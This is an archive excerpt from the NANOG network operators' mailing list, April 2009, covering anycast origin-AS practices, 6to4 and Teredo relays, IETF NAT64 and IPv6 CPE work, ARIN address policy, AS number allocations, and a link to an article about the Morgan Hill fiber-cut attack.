16:18:47 2009 From: iljitsch at muada.com (Iljitsch van Beijnum) Date: Wed, 22 Apr 2009 23:18:47 +0200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EF7A2D.3010307@brightok.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> Message-ID: <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> On 22 apr 2009, at 22:12, Jack Bates wrote: > I think this annoys people more than anything. We're how many years > into the development and deployment cycle of IPv6? What development > cycle is expected out of these CPE devices after a spec is FINALLY > published? That's certainly one way to look at this, and I'm just as unhappy about how long this has taken as you. On the other hand, it has been argued that these issues are outside the scope of the IETF in the first place, as it's just application of already established protocols, not developing something new. So another way to look at it is that at least the IETF is finally doing something because so far, nobody else has. What would have helped here is more push in this direction. > If the IETF is talking "future" and developers are also talking > "future", us little guys that design, build, and maintain the > networks can't really do much. I so hope that vendors get sick of it > and just make up their own proprietary methods of doing things. Let > the IETF catch up later on. People who run networks can do a lot: believe it or not, the IETF really wants input from network operators, especially in the early phases of protocol development when the requirements are established. Proprietary methods duking it out in the market place is nice for stuff that happens inside one box or at least within one administrative domain, but it would be a nightmare in broadband deployment where I want my Windows box to talk to my Apple wifi base station and my Motorola cable modem to the ISP's Cisco headend and their Extreme switches and Juniper routers. From kloch at kl.net Wed Apr 22 16:23:23 2009 From: kloch at kl.net (Kevin Loch) Date: Wed, 22 Apr 2009 17:23:23 -0400 Subject: IPv4 Anycast? In-Reply-To: <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> Message-ID: <49EF8ACB.8000604@kl.net> Patrick W. Gilmore wrote: > On Apr 22, 2009, at 4:35 PM, Jack Bates wrote: >> Zhenkai Zhu wrote: >>> I just want to make sure if I understand correctly. You mean that the >>> anycasted address space can be announced in different places yet with >>> the same origin AS? >> >> Yes, and it is commonly done. > > I was under the impression anycast services with homogeneous origin AS > was far more common than the heterogeneous. Almost all the instances I > know of use homogeneous origin AS. > > I'd be interested in statistics either way. 192.88.99.0/24, 2002::/16, and 2001::/32 are some notable examples of heterogeneous origin AS. - Kevin From jeroen at unfix.org Wed Apr 22 16:27:03 2009 From: jeroen at unfix.org (Jeroen Massar) Date: Wed, 22 Apr 2009 23:27:03 +0200 Subject: IPv4 Anycast? In-Reply-To: <49EF8ACB.8000604@kl.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> <49EF8ACB.8000604@kl.net> Message-ID: <49EF8BA7.9060700@spaghetti.zurich.ibm.com> Kevin Loch wrote: > Patrick W. Gilmore wrote: >> On Apr 22, 2009, at 4:35 PM, Jack Bates wrote: >>> Zhenkai Zhu wrote: >>>> I just want to make sure if I understand correctly. You mean that >>>> the anycasted address space can be announced in different places yet >>>> with the same origin AS? >>> >>> Yes, and it is commonly done. >> >> I was under the impression anycast services with homogeneous origin AS >> was far more common than the heterogeneous. Almost all the instances >> I know of use homogeneous origin AS. >> >> I'd be interested in statistics either way. > > 192.88.99.0/24, 2002::/16, and 2001::/32 are some > notable examples of heterogeneous origin AS. And those prefixes (6to4 & Teredo) all come with annoying problems as one never knows which relay is really being used and it is hard to debug how the packets really flow. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From jbates at brightok.net Wed Apr 22 16:13:38 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 16:13:38 -0500 Subject: IPv4 Anycast? In-Reply-To: <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> Message-ID: <49EF8882.6080402@brightok.net> Patrick W. Gilmore wrote: > I was under the impression anycast services with homogeneous origin AS > was far more common than the heterogeneous. Almost all the instances I > know of use homogeneous origin AS. > > I'd be interested in statistics either way. > The original question provides a good statistic, I think. Only 8 prefixes that were announced by more than 3 origin AS. Jack From patrick at ianai.net Wed Apr 22 16:33:23 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 22 Apr 2009 17:33:23 -0400 Subject: IPv4 Anycast? In-Reply-To: <49EF8ACB.8000604@kl.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> <49EF8ACB.8000604@kl.net> Message-ID: <1687720A-B96E-4402-9E27-D9E89EE69D5C@ianai.net> On Apr 22, 2009, at 5:23 PM, Kevin Loch wrote: > Patrick W. Gilmore wrote: >> On Apr 22, 2009, at 4:35 PM, Jack Bates wrote: >>> Zhenkai Zhu wrote: >>>> I just want to make sure if I understand correctly. You mean that >>>> the anycasted address space can be announced in different places >>>> yet with the same origin AS? >>> >>> Yes, and it is commonly done. >> I was under the impression anycast services with homogeneous origin >> AS was far more common than the heterogeneous. Almost all the >> instances I know of use homogeneous origin AS. >> I'd be interested in statistics either way. > > 192.88.99.0/24, 2002::/16, and 2001::/32 are some > notable examples of heterogeneous origin AS. I know examples of both, although I will admit I did not know any v6 ones. :) However, I'm just interested in global stats. -- TTFN, patrick From nanog-post at rsuc.gweep.net Wed Apr 22 16:36:25 2009 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Wed, 22 Apr 2009 17:36:25 -0400 Subject: IPv4 Anycast? In-Reply-To: <49EF8882.6080402@brightok.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> <49EF8882.6080402@brightok.net> Message-ID: <20090422213625.GA55525@gweep.net> On Wed, Apr 22, 2009 at 04:13:38PM -0500, Jack Bates wrote: [snip] > The original question provides a good statistic, I think. Only 8 > prefixes that were announced by more than 3 origin AS. And the overall message is that only the (prefix holder|originating ASn[s]) can tell you if it is intended or not. Sadly, this is not a useful metric for a third-party to use to determine prefix annoucnement legitimacy. Perhaps an update to RPSL to allow for intentional multiple origins is overdue? [insert thread about folks who do/don't use tools regardless of appropriateness] -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From ren.provo at gmail.com Wed Apr 22 16:39:18 2009 From: ren.provo at gmail.com (Ren Provo) Date: Wed, 22 Apr 2009 17:39:18 -0400 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> Message-ID: <787581440904221439i4a5db621g5cf2433582e0d2b3@mail.gmail.com> Ron Bonica is leading a BOF during NANOG46 in Philly which may be of interest - BOF: IETF OPS & MGMT Area, Ron Bonica, Juniper Networks Presentation Date: June 14, 2009, 2:00 PM - 3:30 PM Abstract: The IETF OPS & MGMT Area documents management technologies and operational best common practices. The purpose of this BoF is to review activities in that area and solicit feedback to determine the usefulness of those activities to the operator community. We will also solicit proposals for new work that is of interest to users. The full agenda is up at - http://www.nanog.org/meetings/nanog46/agenda.php Cheers, -ren On Wed, Apr 22, 2009 at 5:18 PM, Iljitsch van Beijnum wrote: > > On 22 apr 2009, at 22:12, Jack Bates wrote: > >> I think this annoys people more than anything. We're how many years into the development and deployment cycle of IPv6? What development cycle is expected out of these CPE devices after a spec is FINALLY published? > > That's certainly one way to look at this, and I'm just as unhappy about how long this has taken as you. On the other hand, it has been argued that these issues are outside the scope of the IETF in the first place, as it's just application of already established protocols, not developing something new. So another way to look at it is that at least the IETF is finally doing something because so far, nobody else has. What would have helped here is more push in this direction. > >> If the IETF is talking "future" and developers are also talking "future", us little guys that design, build, and maintain the networks can't really do much. I so hope that vendors get sick of it and just make up their own proprietary methods of doing things. Let the IETF catch up later on. > > People who run networks can do a lot: believe it or not, the IETF really wants input from network operators, especially in the early phases of protocol development when the requirements are established. > > Proprietary methods duking it out in the market place is nice for stuff that happens inside one box or at least within one administrative domain, but it would be a nightmare in broadband deployment where I want my Windows box to talk to my Apple wifi base station and my Motorola cable modem to the ISP's Cisco headend and their Extreme switches and Juniper routers. > > From jbates at brightok.net Wed Apr 22 16:39:09 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 16:39:09 -0500 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> Message-ID: <49EF8E7D.90007@brightok.net> Iljitsch van Beijnum wrote: > What would have helped here is more push in this direction. > What really would help is more people who are not on NANOG pushing vendors to support IPv6. Even my Juniper SE has mentioned that I'm one of 2 people he's had seriously pushing for IPv6 features. Other vendors have just blown me off all together (we'll have it sometime). > People who run networks can do a lot: believe it or not, the IETF really > wants input from network operators, especially in the early phases of > protocol development when the requirements are established. > Serious input and participation means work and money. Too much for me. Doesn't help that when I was a wee one, mom dated someone who bragged about his status in the IETF and even had a pen. Sad way to be introduced to any organization, but I have seen similar mentalities regarding IETF mentioned here reinforcing my belief that arrogance is alive and I don't have the time and money to deal with it. > Proprietary methods duking it out in the market place is nice for stuff > that happens inside one box or at least within one administrative > domain, but it would be a nightmare in broadband deployment where I want > my Windows box to talk to my Apple wifi base station and my Motorola > cable modem to the ISP's Cisco headend and their Extreme switches and > Juniper routers. Sure, but the largest missing pieces for IPv6 are single box implementations. Proprietary NAT is single box. Will it break stuff? Probably, but when hasn't it? Corporate networks won't care. They'll deploy the vendor that supports it if that is what they want. BRAS/Aggregation is another single box solution but defines everything about an edge broadband network, supported by the access devices (switches, dslams, wireless ap/backhauls, etc). The layer 3 aware access devices all tend to have their own single box methods of security (DHCP snooping, broadcast scoping, etc, etc). I've seen quite a few systems that can't turn the security support off and break IPv6 because of it. Jack From jbates at brightok.net Wed Apr 22 16:48:05 2009 From: jbates at brightok.net (Jack Bates) Date: Wed, 22 Apr 2009 16:48:05 -0500 Subject: IPv4 Anycast? In-Reply-To: <20090422213625.GA55525@gweep.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> <49EF8882.6080402@brightok.net> <20090422213625.GA55525@gweep.net> Message-ID: <49EF9095.2060502@brightok.net> Joe Provo wrote: > And the overall message is that only the (prefix holder|originating > ASn[s]) can tell you if it is intended or not. Sadly, this is not a > useful metric for a third-party to use to determine prefix annoucnement > legitimacy. Perhaps an update to RPSL to allow for intentional multiple > origins is overdue? Legitimacy no, but it does lead one to believe that most anycast (given > 3 locations) is homogeneous. I would love multiple origin support. Jack From patrick at ianai.net Wed Apr 22 16:51:20 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 22 Apr 2009 17:51:20 -0400 Subject: IPv4 Anycast? In-Reply-To: <49EF9095.2060502@brightok.net> References: <49EEBECE.50005@ucla.edu> <3601C6D1-764C-4A68-B018-374BF2250ACF@daork.net> <49EEC346.1000006@ucla.edu> <49EF151C.5020405@brightok.net> <49EF77AC.5030000@ucla.edu> <49EF7FA8.9010609@brightok.net> <478F6E4E-002A-465F-BB64-502213B3F180@ianai.net> <49EF8882.6080402@brightok.net> <20090422213625.GA55525@gweep.net> <49EF9095.2060502@brightok.net> Message-ID: On Apr 22, 2009, at 5:48 PM, Jack Bates wrote: > Joe Provo wrote: >> And the overall message is that only the (prefix holder|originating >> ASn[s]) can tell you if it is intended or not. Sadly, this is not >> a useful metric for a third-party to use to determine prefix >> annoucnement legitimacy. Perhaps an update to RPSL to allow for >> intentional multiple origins is overdue? > > Legitimacy no, but it does lead one to believe that most anycast > (given > 3 locations) is homogeneous. I would love multiple origin > support. There are tons which have 2 origin ASes. I realize that's not a lot of locations by today's anycast standards, but it is probably still common. OTOH: "Serious" anycast obviously requires more than 2, so I grant your point. The overwhelming majority of anycast is done from homogeneous origin AS. Which means I was right. :) -- TTFN, patrick From jgreco at ns.sol.net Wed Apr 22 17:28:00 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 22 Apr 2009 17:28:00 -0500 (CDT) Subject: Bruce Perens: A Cyber-Attack on an American City Message-ID: <200904222228.n3MMS1Ll048116@aurora.sol.net> http://perens.com/works/articles/MorganHill/ Cyber-Attack on an American City Bruce Perens Just after midnight on Thursday, April 9, unidentified attackers climbed down four manholes serving the Northern California city of Morgan Hill and cut eight fiber cables in what appears to have been an organized attack on the electronic infrastructure of an American city. Its implications, though startling, have gone almost un-reported. That attack demonstrated a severe fault in American infrastructure: its centralization. The city of Morgan Hill and parts of three counties lost 911 service, cellular mobile telephone communications, land-line telephone, DSL internet and private networks, central station fire and burglar alarms, ATMs, credit card terminals, and monitoring of critical utilities. In addition, resources that should not have failed, like the local hospital's internal computer network, proved to be dependent on external resources, leaving the hospital with a "paper system" for the day. [...] Good read, good summary for less-technical people. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From nanog at daork.net Wed Apr 22 17:38:32 2009 From: nanog at daork.net (Nathan Ward) Date: Thu, 23 Apr 2009 10:38:32 +1200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EF7A2D.3010307@brightok.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> Message-ID: On 23/04/2009, at 8:12 AM, Jack Bates wrote: > Iljitsch van Beijnum wrote: >> In v6ops CPE requirements are being discussed so in the future, it >> should be possible to buy a $50 home router and hook it up to your >> broadband service or get a cable/DSL modem from your provider and >> the IPv6 will be routed without requiring backflips from the user. >> So there is a fair chance that we'll be in good shape for IPv6 >> deployment before we've used up the remaining 893 million IPv4 >> addresses. > > I think this annoys people more than anything. We're how many years > into the development and deployment cycle of IPv6? What development > cycle is expected out of these CPE devices after a spec is FINALLY > published? > > If the IETF is talking "future" and developers are also talking > "future", us little guys that design, build, and maintain the > networks can't really do much. I so hope that vendors get sick of it > and just make up their own proprietary methods of doing things. Let > the IETF catch up later on. This work is actually mostly being done by some guys at Cisco, and other vendors have plenty of input as well. I would be surprised if CPEs that support the outcome of this work are far behind the RFC being published (or even a late draft). -- Nathan Ward From nanog at daork.net Wed Apr 22 18:18:10 2009 From: nanog at daork.net (Nathan Ward) Date: Thu, 23 Apr 2009 11:18:10 +1200 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <68C921B6-4CD9-4E48-8958-343509D15AF6@hopcount.ca> References: <200904221442.n3MEgoAZ025614@aurora.sol.net> <68C921B6-4CD9-4E48-8958-343509D15AF6@hopcount.ca> Message-ID: <40D2C7A7-55F1-422D-9488-38A3FAC1275B@daork.net> On 23/04/2009, at 3:33 AM, Joe Abley wrote: > However, I take some small issue with the assertion that FTP is > easier to script than HTTP. The only way I have ever found it easy > to script FTP (outside of writing dedicated expect scripts to drive > clients, which really seems like cheating) is to use tools like > curl, and I don't see why HTTP is more difficult than FTP as a > protocol in that case. Perhaps I'm missing something. It looks like curl can upload stuff (-d @file) but you have to have something on the server to accept it. FTP sounds easier. -- Nathan Ward From leo.vegoda at icann.org Wed Apr 22 20:56:25 2009 From: leo.vegoda at icann.org (Leo Vegoda) Date: Wed, 22 Apr 2009 18:56:25 -0700 Subject: Two blocks of AS Numbers allocated Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, The IANA AS Numbers registry has been updated to reflect the allocation of two blocks of AS Numbers recently. 53248-54271 Assigned by ARIN whois.arin.net 2009-04-21 54272-55295 Assigned by ARIN whois.arin.net 2009-04-21 The registry can be found at: http://www.iana.org/assignments/as-numbers/as-numbers.xml Regards, Leo Vegoda Number Resources Manager, IANA -----BEGIN PGP SIGNATURE----- Version: 9.10.0.500 wj8DBQFJ78q5vBLymJnAzRwRAsxhAKCvxeFIPNw/gZnUDnH0Q51wWR7fiACeMKe+ XnUY36jXeaFRj2Ecn+4ZgFE= =cnqY -----END PGP SIGNATURE----- From adrian at creative.net.au Wed Apr 22 21:07:36 2009 From: adrian at creative.net.au (Adrian Chadd) Date: Thu, 23 Apr 2009 10:07:36 +0800 Subject: IXP In-Reply-To: <485ED9BA02629E4BBBA53AC892EDA50E08C65BD9@usmsxt104.mwd.h2o> References: <20090420225701.GK9502@burnout.tpb.net> <200904211621.22914.lowen@pari.edu> <485ED9BA02629E4BBBA53AC892EDA50E08C65BD9@usmsxt104.mwd.h2o> Message-ID: <20090423020736.GI11570@skywalker.creative.net.au> On Wed, Apr 22, 2009, Holmes,David A wrote: > But I recollect that FORE ATM equipment using LAN Emulation (LANE) used > a broadcast and unknown server (BUS) to establish a point-to-point ATM > PVC for each broadcast and multicast receiver on a LAN segment. As well > as being inherently unscalable (I think the BUS ran on an ASX1000 cpu), > this scheme turned the single stream concept of multicast on its head, > creating essentially a unicast stream for each multicast PVC client. IIRC, plenty of popular ethernet switches do this across their backplane for multicast .. Adrian From true at sfc.wide.ad.jp Wed Apr 22 21:17:18 2009 From: true at sfc.wide.ad.jp (Shin SHIRAHATA) Date: Thu, 23 Apr 2009 11:17:18 +0900 Subject: IPv4 Anycast? In-Reply-To: <49EF8BA7.9060700@spaghetti.zurich.ibm.com> References: <49EF8ACB.8000604@kl.net> <49EF8BA7.9060700@spaghetti.zurich.ibm.com> Message-ID: <20090423094423.033F.94DBBD5E@sfc.wide.ad.jp> > > 192.88.99.0/24, 2002::/16, and 2001::/32 are some > > notable examples of heterogeneous origin AS. > > And those prefixes (6to4 & Teredo) all come with annoying problems as > one never knows which relay is really being used and it is hard to debug > how the packets really flow. I agree entirely. As a one of 6to4 relay operator (AS38646), I believe coordination among 6to4 and Teredo operators is needed. Does anyone know is there any operators group who are using 192.88.99.0/24, 2002::/16, and 2001::/32? --- No caffeine, No work. Shin SHIRAHATA / From jeroen at unfix.org Wed Apr 22 23:36:02 2009 From: jeroen at unfix.org (Jeroen Massar) Date: Thu, 23 Apr 2009 06:36:02 +0200 Subject: IPv6 Operators List (which also covers 6to4 operation ;) (Was: IPv4 Anycast?) In-Reply-To: <20090423094423.033F.94DBBD5E@sfc.wide.ad.jp> References: <49EF8ACB.8000604@kl.net> <49EF8BA7.9060700@spaghetti.zurich.ibm.com> <20090423094423.033F.94DBBD5E@sfc.wide.ad.jp> Message-ID: <49EFF032.4070303@spaghetti.zurich.ibm.com> Shin SHIRAHATA wrote: >>> 192.88.99.0/24, 2002::/16, and 2001::/32 are some >>> notable examples of heterogeneous origin AS. >> And those prefixes (6to4 & Teredo) all come with annoying problems as >> one never knows which relay is really being used and it is hard to debug >> how the packets really flow. > > I agree entirely. > > As a one of 6to4 relay operator (AS38646), I believe coordination among > 6to4 and Teredo operators is needed. > > Does anyone know is there any operators group who are using > 192.88.99.0/24, 2002::/16, and 2001::/32? See http://lists.cluenet.de/pipermail/ipv6-ops/ Next to that: whois -h whois.ripe.net RFC3068-MNT that at at least should give you all the European 6to4 operators directly. Greets, Jeroen (RPSL is a nice thing isn't it ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From joelja at bogus.com Thu Apr 23 00:31:57 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Wed, 22 Apr 2009 22:31:57 -0700 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EF7A2D.3010307@brightok.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> Message-ID: <49EFFD4D.6060501@bogus.com> Jack Bates wrote: > Iljitsch van Beijnum wrote: >> In v6ops CPE requirements are being discussed so in the future, it >> should be possible to buy a $50 home router and hook it up to your >> broadband service or get a cable/DSL modem from your provider and the >> IPv6 will be routed without requiring backflips from the user. >> >> So there is a fair chance that we'll be in good shape for IPv6 >> deployment before we've used up the remaining 893 million IPv4 addresses. > > I think this annoys people more than anything. We're how many years into > the development and deployment cycle of IPv6? What development cycle is > expected out of these CPE devices after a spec is FINALLY published? ipv6 cpe devices have been / are being developed already. the doesn't mean there isn't more work to be done, in > If the IETF is talking "future" and developers are also talking > "future", us little guys that design, build, and maintain the networks > can't really do much. I so hope that vendors get sick of it and just > make up their own proprietary methods of doing things. Let the IETF > catch up later on. Generally the presumption is that people bring work that they are working on to the table. I work for an equipment vendor, if there's no reason for us to implement something why would would we expend cycles to work on it in the IETF either? > > /RANT > > Jack > From randy at psg.com Thu Apr 23 02:41:27 2009 From: randy at psg.com (Randy Bush) Date: Thu, 23 Apr 2009 03:41:27 -0400 Subject: The real issue In-Reply-To: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> Message-ID: > Is ARIN, who won't even take back large blocks of space from people > who have long ago stopped using it and aren't paying anything for it, > prepared to start filing civil suits against people who were assigned / > 24's (and paid for them) due to inaccurate declaration? it's a real shame that there is no mailing list for the endless arin policy disease threads. randy From iljitsch at muada.com Thu Apr 23 03:37:35 2009 From: iljitsch at muada.com (Iljitsch van Beijnum) Date: Thu, 23 Apr 2009 10:37:35 +0200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49EF8E7D.90007@brightok.net> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> Message-ID: On 22 apr 2009, at 23:39, Jack Bates wrote: > What really would help is more people who are not on NANOG pushing > vendors to support IPv6. Even my Juniper SE has mentioned that I'm > one of 2 people he's had seriously pushing for IPv6 features. Other > vendors have just blown me off all together (we'll have it sometime). Right. And I'm also the only one asking for 32-bit AS numbers. >> People who run networks can do a lot: believe it or not, the IETF >> really wants input from network operators, especially in the early >> phases of protocol development when the requirements are established. > Serious input and participation means work and money. You can participate on mailinglists without attending meetings, so in that sense it doesn't have to cost money. As an operator, it would make sense to spend a little time in the requirements phase but not after that. So yes, it would take time, but we're not talking about hours a day on an ongoing basis. > Doesn't help that when I was a wee one, mom dated someone who > bragged about his status in the IETF :-) > and even had a pen. Sad way to be introduced to any organization, > but I have seen similar mentalities regarding IETF mentioned here > reinforcing my belief that arrogance is alive and I don't have the > time and money to deal with it. In any case, if you have input on this whole NAT64 business, let me and/or Fred know. If you have input on anything else, speak up on this list or a NANOG meeting and there's a decent chance that someone will take those comments back to the IETF. From oliver.eyre at cirruscomms.com.au Thu Apr 23 04:10:57 2009 From: oliver.eyre at cirruscomms.com.au (Oliver Eyre) Date: Thu, 23 Apr 2009 19:10:57 +1000 Subject: Broadband Subscriber Management In-Reply-To: <200904221107.42362.lesmith@ecsis.net> References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> Message-ID: <49F030A1.7040905@cirruscomms.com.au> Integration with the billing system is a big one, but remember that not everybody is in control of the DSLAM or whichever device connects to the access network and touches the end user directly. They may instead rely on a wholesale provider for that if they don't have the reach themselves. From: Larry Smith Sent: Thursday, 23 April 2009 2:07:42 AM To: nanog at nanog.org CC: Subject: Re: Broadband Subscriber Management > On Wed April 22 2009 11:01, Curtis Maurand wrote: > >> I don't understand why DSL providers don't just administratively down >> the port the customer is hooked to rather than using PPPoE which costs >> bandwidth and has huge management overhead when you have to disconnect a >> customer. I made the same recommendation to the St. Maarten (Dutch) >> phone company several years ago. They weren't listening either. That >> way you can rate limit via ATM or by throttling the port administratively. >> > > Most likely because most RADIUS systems can be tied fairly easily directly > to the billing/payment system which enables and disables (adds/removes) > the customer from radius for payment/non-payment and therefore does > not require any "technical" support to turn on/off customers. > > From nanog at daork.net Thu Apr 23 05:23:55 2009 From: nanog at daork.net (Nathan Ward) Date: Thu, 23 Apr 2009 22:23:55 +1200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> Message-ID: On 23/04/2009, at 8:37 PM, Iljitsch van Beijnum wrote: > On 22 apr 2009, at 23:39, Jack Bates wrote: > >> Serious input and participation means work and money. > > You can participate on mailinglists without attending meetings, so > in that sense it doesn't have to cost money. As an operator, it > would make sense to spend a little time in the requirements phase > but not after that. So yes, it would take time, but we're not > talking about hours a day on an ongoing basis. After trying to participate on mailing lists for about 2 or 3 years, it's pretty hard to get anything done without going to meetings. Just participating in mailing lists is good for keeping up to date, but not so good for getting things changed. That's what I've found, anyway. Might not always be true. -- Nathan Ward From iljitsch at muada.com Thu Apr 23 06:00:39 2009 From: iljitsch at muada.com (Iljitsch van Beijnum) Date: Thu, 23 Apr 2009 13:00:39 +0200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> Message-ID: <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> On 23 apr 2009, at 12:23, Nathan Ward wrote: > Just participating in mailing lists is good for keeping up to date, > but not so good for getting things changed. > That's what I've found, anyway. Might not always be true. Depends on the issue. Sometimes bad ideas get traction in the IETF, it's hard to undo that. But there are also times when even a single message containing good arguments can have an effect. Also don't expect too much from IETF participation: if doing X is going to make a vendor more money than doing Y, they're going to favor X, even if Y is the superior solution. From rs at seastrom.com Thu Apr 23 06:49:54 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 23 Apr 2009 07:49:54 -0400 Subject: Important New Requirement for IPv4 Requests In-Reply-To: (Jo Rhett's message of "Tue, 21 Apr 2009 14:46:27 -0700") References: <200904202339.n3KNdleL042511@aurora.sol.net> <3A255010-1C92-470A-BC03-7126D081FF5A@netconsonance.com> Message-ID: <868wlrvbbx.fsf@seastrom.com> >> It appears that ARIN wants to raise the IP addressing space issue to >> the CxO >> level -- if it was interested in honesty, ARIN would have required a >> notarized statement by the person submitting the request. > > No. Those are two entirely different problems. > > A notary signs only that the person in front of them has been checked > to be who they say they are. That's authentication. A 